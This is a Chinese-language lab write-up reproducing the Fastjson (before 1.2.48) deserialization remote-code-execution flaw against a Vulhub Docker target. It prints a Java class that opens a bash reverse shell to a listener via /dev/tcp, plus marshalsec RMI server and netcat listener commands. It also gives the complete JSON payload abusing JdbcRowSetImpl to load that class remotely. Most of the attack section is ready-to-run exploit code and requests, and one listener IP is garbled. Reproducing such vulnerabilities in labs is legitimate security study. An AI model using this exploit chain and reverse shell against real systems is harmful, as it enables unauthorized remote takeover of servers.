一、漏洞简介
Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令
影响范围 FastJson < 1.2.48
二、靶场搭建
Fastjson靶场:Vulhub–192.168.25.21
攻击机:Kail2020–192.168.21.4
监听机:docker-awvs–192.1698.25.6 (等待反弹shell)
1、下载vulhub靶场系统并运行
进入 vulhub 的 Fastjson 1.2.47 路径
cd /root/vulhub-master/fastjson/1.2.47-rce
docker-compose up -d
docker ps | grep rce


2、访问靶场

三、Kali攻击环境准备
1、下载EXP程序并修改IP及端口
该Exploit.java只是一段反弹shell的代码,需要修改为攻击机的ip和端口,将Exploit.java 修改后,编译成 Exploit.class
Exploit.java 代码:
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.25.6/12345 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}

2、编译exp程序
下载到本地,编译 Exploit.java ,将编译成功的 Exploit.class 上传到Kali 的fastjson-1.2.47-RCE目录下

3、启动python web服务
在该 EXP 目录下利用python模拟启动一个本地可以访问的服务器。
python2 -m SimpleHTTPServer 22222


4、启动ldap服务
同样的在当前目录启动LDAP服务,修改IP为当前这台服务器的IP
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer " http://192.168.21.4:22222/#Exploit " 9999

5、设置监听服务器
nc -lvvp 12345

至此,我们整个攻击环境已经准备好。
四、漏洞利用验证
1、利用burpsuite 发送payload
验证漏洞利用是否成功利用我们的攻击环境,向靶场发送payload。
构造好的请求包发送如下,注意Content-type格式要json,并且是post请求。
POST / HTTP/1.1
Host: 192.168.25.21:8090
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 264
Content-Type: application/json
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.21.4:9999/EXploit",
"autoCommit":true
}
}

2、成功得到反弹shell
